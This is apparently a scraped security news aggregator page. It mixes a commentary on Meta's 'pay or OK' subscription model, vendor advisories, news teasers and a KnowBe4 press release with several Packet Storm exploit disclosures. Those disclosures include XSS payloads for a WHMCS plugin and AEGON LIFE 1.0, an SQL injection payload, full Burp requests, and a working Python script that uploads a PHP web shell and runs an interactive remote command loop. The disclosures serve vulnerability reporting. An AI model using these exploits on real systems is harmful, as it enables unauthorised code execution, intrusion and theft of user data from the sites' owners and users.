Meta's new subscription model points out the need for clearer and stricter regulations — ones that prioritize consumer privacy and control of personal data.

Source: Zoonar GmbH via Alamy Stock Photo

COMMENTARY

Meta recently offered its customers in the European Union the choice between paying for privacy or consenting to tracking, a model some people are calling "pay or OK." This sparked an investigation, since privacy in the EU is defined as a consumer right. With the bipartisan federal privacy bill in the US gaining ground to similarly make consumer privacy a right at the federal level, Meta's new model could come under even more fire if the company implements it here.

But what is "pay or OK," and why does it matter? 

**Understanding the Conflict**

Meta's subscription model violates the principle of freely given consent by forcing users to choose one of just two options: paying a fee or consenting to tracking for personalized advertising. It's essentially a false choice, because Meta is making money off users' data one way or another, either through the subscription or by selling their information. Numerous privacy and consumer rights proponents have already criticized the move as an attempt to circumvent the European Union's stringent data protection laws by coercing users to agree to data tracking. 

The new model also allows Meta to sidestep the broad demand from privacy advocates for all such software platforms and services to install opt-out mechanisms. Technically, on Meta's various sites, there is an opt-out mechanism, but this new model manipulates consent dynamics by introducing financial incentives to sway user choices. Users might believe that they are "giving consent," when in reality they can only either financially support the platform or surrender their privacy rights. Ironic, considering that, according to Meta, the whole point of the subscription is supposedly to protect user privacy.

History has already shown how little users can trust Big Tech companies like Meta to protect consumer data. For example, Meta has had several major breaches over the past few years and several lawsuits related to misuse of consumer data. Google and Microsoft have both experienced similar accusations. Naturally, the security and privacy lapses have caused privacy advocates to question: Are these the companies you should be paying to protect your data? The answer for a constantly increasing number of consumers is: No. 

**Steps for Consumer Protection**

The evidence is clear: Big Tech won't protect users' data. Consumers are looking for other ways to defend themselves from data theft, and fortunately, new technologies and privacy developments have started to make this a lot easier. 

For starters: Use privacy-focused browsers. Some examples include Brave, Tor, and Firefox, all of which are known for prioritizing data privacy. These browsers often come with built-in features to block trackers and advertisements, reduce digital fingerprinting, and ensure more secure browsing.

Next are virtual private networks (VPNs). VPNs encrypt Internet traffic, which prevents other third parties, even your Internet service provider, from monitoring users' online activities. A reliable VPN can also mask a user's IP address. Normally, advertisers and other third parties use your IP address to track your activity and create a profile that is unique to that address. A VPN prevents that tracking, which enhances anonymity on the Web. 

Third, users should view and adjust their social media privacy settings on a regular basis. Social media platforms frequently update their policies and settings. Users should review their settings to control who sees their information, which data third parties have access to, and how their information is used for advertising.

Fourth, I suggest users actively manage and regularly delete unnecessary personal data stored online. A simple Internet search will show you that your name, and possibly your address, phone number, and tons of other information, is readily available on data broker websites — thanks to companies like Meta selling them all that data. Look for ways to opt out of these platforms. Consider setting social media accounts to be private or deleting old accounts that are no longer active. 

Finally, stay informed on consumer rights and data protection laws like the General Data Protection Regulation (GDPR) in Europe or the California Consumer Privacy Act (CCPA) in the United States. These laws often grant users the right to access, correct, and delete personal data, along with the right to opt out of companies selling your info. Being informed lets users make educated decisions and take legal action if necessary.

**Final Thoughts**

Privacy regulators may or may not be able to counteract Meta's consent-or-pay ploy. But either way, the new subscription model points out the need for clearer and stricter regulations in the US, ones that prioritize consumer privacy and control of personal data rather than forcing users to choose between shelling out or giving up. Until then, consumers need to be aware of the privacy technologies, opt-out mechanisms, and choices that are readily available today.

**About the Author(s)**

CEO, Abine/DeleteMe

Rob Shavell is CEO of Abine/DeleteMe, The Online Privacy Company. Rob has been quoted as a privacy expert in the Wall Street Journal, New York Times, The Telegraph, NPR, ABC, NBC, and Fox. Rob is a vocal proponent of privacy legislation reform, including the California Privacy Rights Act (CPRA).

Why Trading Privacy for 'Free' Web Services Must End

Premium Support Tickets For WHMCS version 1.2.10 suffers from a cross site scripting vulnerability.

    Exploit Title: Premium Support Tickets For WHMCS Reflected XSSExploit Author: Sajibe KantiVendor: ModulesGardenVendor Homepage:https://www.modulesgarden.com/products/whmcs/premium-support-ticketsProduct Name: Premium Support Tickets For WHMCSProduct Version: v1.2.10Tested Version: WHMCS 8.10.1Tested on: Windows 10Vulnerabilities Discovered Date: 29/04/2024Description:The Premium Support Tickets For WHMCS plugin by ModulesGarden is vulnerableto a reflected cross-site scripting (XSS) attack. This vulnerability allowsan attacker to inject malicious JavaScript code into the "error&msg="parameter of the submitticket.php page, leading to the execution ofarbitrary code in the context of the victim's browser.Proof of Concept (POC):1. Identify a website that utilizes the Premium Support Tickets For WHMCSplugin by ModulesGarden.2. Navigate to the ticket submission page (submitticket.php).3. Select any department to open a new ticket.4. If you lack support credit points, you will receive an error messagewith the parameter "error&msg=clientarea_message_cantcreateinthisdept".5. Inject your payload into the "error&msg=" parameter.6. Construct the following URL with your payload:https://example.com/submitticket.php?PremiumSupportTickets=error&msg=%22/%3E%3CsvG%20onLoad=alert(/xss/)%3E7. Replace the payload with your desired XSS payload:   "<svg/onLoad=alert(/OPENBUGBOUNTY/)>"8. Visit the modified URL in your browser.9. Observe the XSS popup indicating successful exploitation of thevulnerability.Impact:Successful exploitation of this vulnerability could allow an attacker toexecute arbitrary JavaScript code in the context of an authenticated user'sbrowser session. This could lead to various attacks, including but notlimited to:- Theft of sensitive information (session cookies, credentials, etc.)- Phishing attacks targeting users of the affected WHMCS instance- Defacement of the website or redirection to malicious content- Browser-based attacks such as keylogging or screen capturingNote: This exploit is for educational purposes only. Unauthorized access toor modification of systems is illegal and unethical. Always obtain properauthorization before testing or exploiting vulnerabilities.

Premium Support Tickets For WHMCS 1.2.10 Cross Site Scripting

Red Hat Security Advisory 2024-3920-03 - Migration Toolkit for Runtimes 1.2.6 release Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link in the References section. Issues addressed include a password leak vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3920.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Migration Toolkit for Runtimes security, bug fix and enhancement updateAdvisory ID:        RHSA-2024:3920-03Product:            Migration Toolkit for RuntimesAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:3920Issue date:         2024-06-13Revision:           03CVE Names:          CVE-2023-45857====================================================================Summary: Migration Toolkit for Runtimes 1.2.6 releaseRed Hat Product Security has rated this update as having a security impact of Important.A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Migration Toolkit for Runtimes 1.2.6 ZIP artifactsSecurity Fix(es):* axios: exposure of confidential data stored in cookies (CVE-2023-45857)* follow-redirects: Possible credential leak (CVE-2024-28849)* commons-configuration2: various flaws (CVE-2024-29131)* commons-configuration2: various flaws (CVE-2024-29133)* webpack-dev-middleware: lack of URL validation may lead to file leak (CVE-2024-29180)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:CVEs:CVE-2023-45857References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=migration.toolkit.runtimes&downloadType=distributionshttps://issues.redhat.com/browse/WINDUPRULE-1049

Red Hat Security Advisory 2024-3920-03

AEGON LIFE version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title:  Life Insurance Management Stored System- cross-site scripting (XSS)# Exploit Author: Aslam Anwar Mahimkar# Date: 18-05-2024# Category: Web application# Vendor Homepage: https://projectworlds.in/# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/# Version: AEGON LIFE v1.0# Tested on: Linux# CVE: CVE-2024-36599# Description:----------------A stored cross-site scripting (XSS) vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary web scripts via a crafted payload injected into the name parameter at insertClient.php.# Payload:----------------<script>alert(document.domain)</script># Attack Vectors:-------------------------To exploit this vulnerability use <script>alert(document.domain)</script> when user visit Client.php we can see the XSS.# Burp Suite Request:----------------------------POST /lims/insertClient.php HTTP/1.1Host: localhostContent-Length: 30423Cache-Control: max-age=0sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundarymKfAe0x95923LzQHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/lims/addClient.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78nConnection: close------WebKitFormBoundarymKfAe0x95923LzQHContent-Disposition: form-data; name="client_id"1716051159------WebKitFormBoundarymKfAe0x95923LzQHContent-Disposition: form-data; name="client_password"password------WebKitFormBoundarymKfAe0x95923LzQHContent-Disposition: form-data; name="name"<script>alert(document.domain)</script>------WebKitFormBoundarymKfAe0x95923LzQHContent-Disposition: form-data; name="fileToUpload"; filename="runme.jpg_original"Content-Type: application/octet-streamÿØÿà

AEGON LIFE 1.0 Cross Site Scripting

AEGON LIFE version 1.0 suffers from an unauthenticated remote code execution vulnerability.

# Exploit Title:  Life Insurance Management System- Unauthenticated Remote Code Execution (RCE)  
# Exploit Author: Aslam Anwar Mahimkar  
# Date: 18-05-2024  
# Category: Web application  
# Vendor Homepage: https://projectworlds.in/  
# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/  
# Version: AEGON LIFE v1.0  
# Tested on: Linux  
# CVE: CVE-2024-36598

# Description:  
----------------

-An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image/gif magic bytes in payload.

-In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect.

# Payload:  
------------------

payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'"

# RCE via executing exploit:  
---------------------------------------

    # Step : run the exploit in python with this command: python3 shell.py  http://localhost/lims/  
    # will lead to RCE shell.

  POC  
-------------------

import argparse  
import random  
import requests  
import string  
import sys

parser = argparse.ArgumentParser()  
parser.add_argument('url', action='store', help='The URL of the target.')  
args = parser.parse_args()

url = args.url.rstrip('/')  
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'"

file = {'fileToUpload': (random_file + '.php', payload, 'text/php')}  
print('> Attempting to upload PHP web shell...')  
r = requests.post(url + '/insertClient.php', files=file, data={'agent_id':''}, verify=False)  
print('> Verifying shell upload...')  
r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:  
    print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php')  
    print('> Example command usage: ' + url + '/uploads/' + random_file + '.php?cmd=whoami')  
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))  
    if launch_shell.lower() == 'y':  
        while True:  
            cmd = str(input('RCE $ '))  
            if cmd == 'exit':  
                sys.exit(0)  
            r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':cmd}, verify=False)  
            print(r.text)  
else:  
    if r.status_code == 200:  
        print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')  
    else:  
        print('> Web shell failed to upload! The web server may not have write permissions.')

---------------------------------------------------------------------------------------------------------------------------

### Can also performed manually.

Payload:  
--------------

GIF89a;  
<?php  
echo"<pre>";  
passthru($_GET['cmd']);  
echo"<pre>";  
?>

# Attack Vectors:  
-------------------------

After uploading malicious image can access it to get the shell

http://localhost/lims/uploads/shell2.gif.php?cmd=id

Burp Suit Request  
-----------------------------

POST /lims/insertClient.php HTTP/1.1  
Host: localhost  
Content-Length: 2197  
Cache-Control: max-age=0  
sec-ch-ua:   
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: ""  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5plGALZGPOOdBlF0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/lims/addClient.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="client_id"

1716015032

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="client_password"

Password

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="name"

Test

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="fileToUpload"; filename="shell2.gif.php"  
Content-Type: application/x-php

GIF89a;  
<?php  
echo"<pre>";  
passthru($_GET['cmd']);  
echo"<pre>";  
?>

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="sex"

Male

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="birth_date"

1/1/1988

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="maritial_status"

M

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nid"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="phone"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="address"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="policy_id"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="agent_id"

Agent007

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_id"

1716015032-275794639

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_name"

Test1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_sex"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_birth_date"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_nid"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_relationship"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="priority"

1

------WebKitFormBoundary5plGALZGPOOdBlF0  
Content-Disposition: form-data; name="nominee_phone"

1  
------WebKitFormBoundary5plGALZGPOOdBlF0

AEGON LIFE 1.0 Remote Code Execution

Google's plans to deprecate third-party tracking cookies in its Chrome web browser with Privacy Sandbox has run into fresh trouble after Austrian privacy non-profit noyb (none of your business) said the feature can still be used to track users.
"While the so-called 'Privacy Sandbox' is advertised as an improvement over extremely invasive third-party tracking, the tracking is now simply done

Google's Privacy Sandbox Accused of User Tracking by Austrian Non-Profit

AEGON LIFE version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Life Insurance Management System- SQL injection vulnerability.# Exploit Author: Aslam Anwar Mahimkar# Date: 18-05-2024# Category: Web application# Vendor Homepage: https://projectworlds.in/# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/# Version: AEGON LIFE v1.0# Tested on: Linux# CVE: CVE-2024-36597# Description:----------------Aegon Life v1.0 was discovered to contain a SQL injection vulnerability via the client_id parameter at clientStatus.php.Important user data or system data may be leaked and system security may be compromised. Then environment is secure and the information can be used by malicious users.# Payload:------------------client_id=1511986023%27%20OR%201=1%20--%20a # Steps to reproduce-------------------------- -Login with your creds -Navigate to this directory - /client.php -Click on client Status -Will navigate to /clientStatus.php -Capture the request in burp and inject SQLi query in client_id= filed# Burp Request-------------------GET /lims/clientStatus.php?client_id=1511986023%27%20OR%201=1%20--%20a HTTP/1.1Host: localhostsec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78nConnection: close

AEGON LIFE 1.0 SQL Injection

Data is growing faster than ever. Remember when petabytes (that's 1,000,000 gigabytes!) were only for tech giants? Well, that's so last decade! Today, businesses of all sizes are swimming in petabytes.
But this isn't just about storage anymore. This data is ALIVE—it's constantly accessed, analyzed, shared, and even used to train the next wave of AI.
This creates a huge challenge: how do you

Learn to Secure Petabyte-Scale Data in a Webinar with Industry Titans

Use of Web Browser Cache Containing Sensitive Information vulnerability in Apache Airflow. 

Airflow did not return "Cache-Control" header for dynamic content, which in case of some browsers could result in potentially storing sensitive data in local cache of the browser.

This issue affects Apache Airflow: before 2.9.2.

Users are recommended to upgrade to version 2.9.2, which fixes the issue.



**Apache Airflow does not return the "Cache-Control" header for dynamic content**

Low severity GitHub Reviewed Published Jun 14, 2024 to the GitHub Advisory Database • Updated Jun 17, 2024

GHSA-9xpj-62mm-24h2: Apache Airflow does not return the "Cache-Control" header for dynamic content

PRESS RELEASE

TAMPA BAY, Fla., June 12, 2024 /PRNewswire-PRWeb/ -- KnowBe4, provider of security awareness training and simulated phishing platform, today announced its new Risk & Insurance Partner Program. This strategic program empowers partners to reduce their overall risk posture by referring their clients to the award-winning KnowBe4 platform, which addresses the human element of cybersecurity.

According to Coalition's 2024 Cyber Claims Report, the frequency of claims from 2021 through 2023 has increased 13% year-over-year with the average claim increasing 10% over the same period. KnowBe4 has partnered closely with cyber risk market leaders for years to raise awareness for the critical human layer in a defense-in-depth strategy. This new program will strengthen our collective efforts, scale the number of partners KnowBe4 has in the risk space, and further reward these partners for their investment.

Key benefits of the program include:   
Exclusive Discounts: Partners can gain a competitive edge by accessing exclusive KnowBe4 pricing for the customers they refer.

"Cyberattacks are increasing in both severity and frequency, impacting organizations of all sizes across all sectors," said Stu Sjouwerman, CEO, KnowBe4. "We are excited to announce this new partnership framework to combine KnowBe4's best-in-class platform with partners' cyber risk and insurance expertise to help better protect customers against these attacks."

"Our cyber insurance partners bring deep expertise in assessing and managing cyber risk," said Prashant Pai, EVP, global head of business development, KnowBe4. "Our ability to monitor and measure detailed human risk information aligns perfectly with our partners' underwriting approach. KnowBe4 leads the market in mitigating the human element associated with cyber risk. These partnerships are a natural fit to better protect customers from rapidly evolving cyber threats."

The KnowBe4 Risk & Insurance Partner Program is open to insurance agencies, brokers, risk pools and other risk management providers globally. For more information or to connect with the partnership team, please visit https://www.knowbe4.com/partners/cyber-risk.

About KnowBe4

KnowBe4, the provider of the world's largest security awareness training and simulated phishing platform, is used by more than 65,000 organizations around the globe. Founded by IT and data security specialist Stu Sjouwerman, KnowBe4 helps organizations address the human element of security by raising awareness about ransomware, CEO fraud and other social engineering tactics through a new-school approach to awareness training on security. The late Kevin Mitnick, who was an internationally recognized cybersecurity specialist and KnowBe4's Chief Hacking Officer, helped design the KnowBe4 training based on his well-documented social engineering tactics. Organizations rely on KnowBe4 to mobilize their end users as their last line of defense and trust the KnowBe4 platform to strengthen their security culture and reduce human risk.

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